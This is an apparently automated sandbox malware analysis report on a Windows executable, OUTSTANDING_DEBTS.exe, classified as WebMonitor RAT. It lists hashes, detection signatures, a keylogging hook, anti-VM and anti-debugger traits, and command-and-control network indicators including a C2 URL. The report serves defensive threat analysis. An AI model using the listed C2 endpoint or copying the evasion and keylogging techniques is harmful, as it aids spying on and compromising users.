Play interactive tour

Edit tour

Windows Analysis Report OUTSTANDING_DEBTS.exe

Overview

General Information

Sample Name:	OUTSTANDING_DEBTS.exe
Analysis ID:	465727
MD5:	a0cb248c9464e9ea4f72ebc7d7807e98
SHA1:	d049bc23f0604897e32ac0f76f52677a7c8ce991
SHA256:	28fd0fcdf202f29eaaee33d23939cd5bdd75bd68ee4c7815d4ca4dd2e6a04be5
Tags:	exe
Infos:
Most interesting Screenshot:

Detection

WebMonitor RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected WebMonitor RAT

Contain functionality to detect virtual machines

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to register a low level keyboard hook

Creates autostart registry keys with suspicious names

Installs a global keyboard hook

Maps a DLL or memory area into another process

Potentially malicious time measurement code found

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

OUTSTANDING_DEBTS.exe (PID: 464 cmdline: 'C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe' MD5: A0CB248C9464E9EA4F72EBC7D7807E98)

conhost.exe (PID: 4908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

OUTSTANDING_DEBTS.exe (PID: 5376 cmdline: 'C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe' MD5: A0CB248C9464E9EA4F72EBC7D7807E98)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.208343823.0000000005FF0000.00000040.00000001.sdmp	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
Process Memory Space: OUTSTANDING_DEBTS.exe PID: 464	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security

Unpacked PEs

Source	Rule	Description	Author
5.2.OUTSTANDING_DEBTS.exe.400000.0.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
5.2.OUTSTANDING_DEBTS.exe.400000.0.raw.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
2.2.OUTSTANDING_DEBTS.exe.5ff0000.2.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
2.2.OUTSTANDING_DEBTS.exe.5ff0000.2.raw.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: OUTSTANDING_DEBTS.exe

Avira: detected

Multi AV Scanner detection for submitted file

Show sources

Source: OUTSTANDING_DEBTS.exe	Virustotal: Detection: 26%			Perma Link
Source: OUTSTANDING_DEBTS.exe	ReversingLabs: Detection: 26%

Source: OUTSTANDING_DEBTS.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: unknown

HTTPS traffic detected: 45.153.186.90:443 -> 192.168.2.3:49748 version: TLS 1.2

Source: OUTSTANDING_DEBTS.exe

Static PE information: GUARD_CF, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wntdll.pdbUGP source: OUTSTANDING_DEBTS.exe, 00000002.00000003.204785976.00000000061E0000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: OUTSTANDING_DEBTS.exe, 00000002.00000003.204785976.00000000061E0000.00000004.00000001.sdmp

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C80D6A FindFirstFileExW,		5_2_00C80D6A
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C81126 FindFirstFileExW,FindNextFileW,FindClose,		5_2_00C81126

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic

Snort IDS: 2032361 ET TROJAN WebMonitor/RevCode RAT CnC Domain in DNS Lookup 192.168.2.3:55359 -> 8.8.8.8:53

Source: Joe Sandbox View	IP Address: 194.58.200.20 194.58.200.20
Source: Joe Sandbox View	IP Address: 45.153.186.90 45.153.186.90

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.2.4.8
Source: unknown	UDP traffic detected without corresponding DNS query: 1.2.4.8
Source: unknown	UDP traffic detected without corresponding DNS query: 1.2.4.8
Source: unknown	UDP traffic detected without corresponding DNS query: 1.2.4.8
Source: unknown	UDP traffic detected without corresponding DNS query: 1.2.4.8
Source: unknown	UDP traffic detected without corresponding DNS query: 1.2.4.8
Source: unknown	UDP traffic detected without corresponding DNS query: 1.2.4.8
Source: unknown	UDP traffic detected without corresponding DNS query: 1.2.4.8
Source: unknown	UDP traffic detected without corresponding DNS query: 1.2.4.8
Source: unknown	UDP traffic detected without corresponding DNS query: 1.2.4.8
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114

Source: unknown

DNS traffic detected: queries for: sdns.se

Source: OUTSTANDING_DEBTS.exe, 00000005.00000003.375433529.000000000313A000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: OUTSTANDING_DEBTS.exe, 00000005.00000003.373812838.0000000005941000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/
Source: OUTSTANDING_DEBTS.exe, 00000005.00000003.374632833.000000000593F000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/$
Source: OUTSTANDING_DEBTS.exe, 00000005.00000003.374632833.000000000593F000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/F
Source: OUTSTANDING_DEBTS.exe, 00000005.00000003.373812838.0000000005941000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/O
Source: OUTSTANDING_DEBTS.exe, 00000005.00000003.374632833.000000000593F000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/X
Source: OUTSTANDING_DEBTS.exe, 00000005.00000003.375454159.000000000315A000.00000004.00000001.sdmp, 77EC63BDA74BD0D0E0426DC8F8008506.5.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: OUTSTANDING_DEBTS.exe, 00000005.00000003.375534742.0000000003123000.00000004.00000001.sdmp, OUTSTANDING_DEBTS.exe, 00000005.00000003.373812838.0000000005941000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?9770c00a1bead
Source: OUTSTANDING_DEBTS.exe, 00000005.00000003.375551467.0000000003172000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabU
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467716936.00000000030BD000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enmL
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467785913.00000000030FE000.00000004.00000020.sdmp	String found in binary or memory: https://0.0.0.0/recv5.php
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467697893.00000000030AC000.00000004.00000020.sdmp	String found in binary or memory: https://0/recv5.php
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467785913.00000000030FE000.00000004.00000020.sdmp	String found in binary or memory: https://0/recv5.php13q
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467785913.00000000030FE000.00000004.00000020.sdmp	String found in binary or memory: https://0/recv5.php93y
Source: OUTSTANDING_DEBTS.exe, 00000005.00000003.274525527.00000000030E2000.00000004.00000001.sdmp	String found in binary or memory: https://0/recv5.phpi
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467785913.00000000030FE000.00000004.00000020.sdmp	String found in binary or memory: https://niiarmah.wm01.to/
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467764330.00000000030E2000.00000004.00000020.sdmp	String found in binary or memory: https://niiarmah.wm01.to/crosoft
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467785913.00000000030FE000.00000004.00000020.sdmp	String found in binary or memory: https://niiarmah.wm01.to/recv5.php
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.470873995.0000000005933000.00000004.00000001.sdmp	String found in binary or memory: https://niiarmah.wm01.to/recv5.php(j
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467764330.00000000030E2000.00000004.00000020.sdmp	String found in binary or memory: https://niiarmah.wm01.to/recv5.php?
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467785913.00000000030FE000.00000004.00000020.sdmp	String found in binary or memory: https://niiarmah.wm01.to/recv5.phpe
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467785913.00000000030FE000.00000004.00000020.sdmp, OUTSTANDING_DEBTS.exe, 00000005.00000002.470935328.000000000593F000.00000004.00000001.sdmp	String found in binary or memory: https://niiarmah.wm01.to/recv5.phpz
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467670364.0000000003097000.00000004.00000020.sdmp	String found in binary or memory: https://niiarmah.wm01.to/recv5.phpzv

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown

HTTPS traffic detected: 45.153.186.90:443 -> 192.168.2.3:49748 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality to register a low level keyboard hook

Show sources

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Code function: 5_2_0043656A SetWindowsHookExW 0000000D,0043527C,00000000

5_2_0043656A

Installs a global keyboard hook

Show sources

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Jump to behavior

Source: OUTSTANDING_DEBTS.exe, 00000002.00000002.208201120.0000000002E7A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Code function: 5_2_004382E8 NtQueryInformationProcess,

5_2_004382E8

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C9308D	2_2_00C9308D
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C6E1FA	2_2_00C6E1FA
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C6F242	2_2_00C6F242
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C6F4B6	2_2_00C6F4B6
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C6E42C	2_2_00C6E42C
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C945B2	2_2_00C945B2
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C59680	2_2_00C59680
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C6E66D	2_2_00C6E66D
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C6E89F	2_2_00C6E89F
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C6DB55	2_2_00C6DB55
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C6EB04	2_2_00C6EB04
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C8BC80	2_2_00C8BC80
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C8CC96	2_2_00C8CC96
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C6DD87	2_2_00C6DD87
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C6ED78	2_2_00C6ED78
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C6DFC8	2_2_00C6DFC8
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C6EFDD	2_2_00C6EFDD
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C92F6D	2_2_00C92F6D
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_004AFFF3	5_2_004AFFF3
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_004B5179	5_2_004B5179
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_0043C25A	5_2_0043C25A
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_004A444D	5_2_004A444D
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_004A467C	5_2_004A467C
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_004B48E4	5_2_004B48E4
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_004A48AB	5_2_004A48AB
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_004BFB2B	5_2_004BFB2B
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_0049FC6A	5_2_0049FC6A
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_004A0C10	5_2_004A0C10
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_004A8FD0	5_2_004A8FD0
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C6E1FA	5_2_00C6E1FA
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C8C1A0	5_2_00C8C1A0
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C6E42C	5_2_00C6E42C
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C8C5D0	5_2_00C8C5D0
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C945B2	5_2_00C945B2
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C6E66D	5_2_00C6E66D
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C8A8C3	5_2_00C8A8C3
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C6E89F	5_2_00C6E89F
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C6EB04	5_2_00C6EB04
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C8CC96	5_2_00C8CC96
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C6ED78	5_2_00C6ED78
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C6EFDD	5_2_00C6EFDD
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C92F6D	5_2_00C92F6D
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C9308D	5_2_00C9308D
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C6F242	5_2_00C6F242
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C853D0	5_2_00C853D0
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C6F4B6	5_2_00C6F4B6
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C59680	5_2_00C59680
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C6DB55	5_2_00C6DB55
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C8BC80	5_2_00C8BC80
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C6DD87	5_2_00C6DD87

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: String function: 0049D90B appears 114 times
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: String function: 00C57070 appears 105 times
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: String function: 0049D93F appears 50 times
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: String function: 00C86B01 appears 69 times
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: String function: 0049DF50 appears 44 times
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: String function: 00C7BB51 appears 54 times

Source: OUTSTANDING_DEBTS.exe, 00000002.00000003.207577011.0000000004766000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs OUTSTANDING_DEBTS.exe
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.470638032.00000000058D0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameCRYPT32.DLL.MUIj% vs OUTSTANDING_DEBTS.exe
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.471479282.0000000005B20000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dllj% vs OUTSTANDING_DEBTS.exe
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.471490763.0000000005B30000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dll.muij% vs OUTSTANDING_DEBTS.exe
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.470509655.0000000005780000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemswsock.dll.muij% vs OUTSTANDING_DEBTS.exe
Source: OUTSTANDING_DEBTS.exe, 00000005.00000002.467577984.0000000002E80000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemsvfw32.dll.muij% vs OUTSTANDING_DEBTS.exe

Source: OUTSTANDING_DEBTS.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/3@35/2

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Code function: 2_2_00C52960 GetLastError,FormatMessageW,lstrlenW,LocalFree,

2_2_00C52960

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Code function: 5_2_00447818 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,AdjustTokenPrivileges,

5_2_00447818

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Code function: 5_2_00446B77 CreateToolhelp32Snapshot,Process32NextW,CloseHandle,

5_2_00446B77

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

File created: C:\Users\user\Desktop\d70d27bc.bin

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4908:120:WilError_01
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Mutant created: \Sessions\1\BaseNamedObjects\4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O2.00

Source: OUTSTANDING_DEBTS.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: OUTSTANDING_DEBTS.exe	Virustotal: Detection: 26%
Source: OUTSTANDING_DEBTS.exe	ReversingLabs: Detection: 26%

Source: OUTSTANDING_DEBTS.exe	String found in binary or memory: </install>
Source: OUTSTANDING_DEBTS.exe	String found in binary or memory: <install>N/A</install>
Source: OUTSTANDING_DEBTS.exe	String found in binary or memory: IN-ADDR.ARPA

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

File read: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe 'C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe'
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Process created: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe 'C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe'
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Process created: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe 'C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe'	Jump to behavior

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: OUTSTANDING_DEBTS.exe

Static file information: File size 1322252 > 1048576

Source: OUTSTANDING_DEBTS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: OUTSTANDING_DEBTS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: OUTSTANDING_DEBTS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: OUTSTANDING_DEBTS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: OUTSTANDING_DEBTS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: OUTSTANDING_DEBTS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: OUTSTANDING_DEBTS.exe

Static PE information: GUARD_CF, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: OUTSTANDING_DEBTS.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: OUTSTANDING_DEBTS.exe, 00000002.00000003.204785976.00000000061E0000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: OUTSTANDING_DEBTS.exe, 00000002.00000003.204785976.00000000061E0000.00000004.00000001.sdmp

Source: OUTSTANDING_DEBTS.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: OUTSTANDING_DEBTS.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: OUTSTANDING_DEBTS.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: OUTSTANDING_DEBTS.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: OUTSTANDING_DEBTS.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 2_2_00C95873 push ecx; ret	2_2_00C95886
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_3_030CB361 push eax; ret	5_3_030CB3A1
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_3_030BF5BC push 60030D6Ah; ret	5_3_030BF5C1
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_0040585D push esi; ret	5_2_00405866
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_0049D8D4 push ecx; ret	5_2_0049D8E7
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00402EEC push eax; retn 0049h	5_2_00402EED
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00402F54 push eax; retn 0049h	5_2_00402F55
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00402F20 push eax; retn 0049h	5_2_00402F21
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_0049DF96 push ecx; ret	5_2_0049DFA9
Source: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe	Code function: 5_2_00C570C0 push ecx; ret	5_2_00C570D3
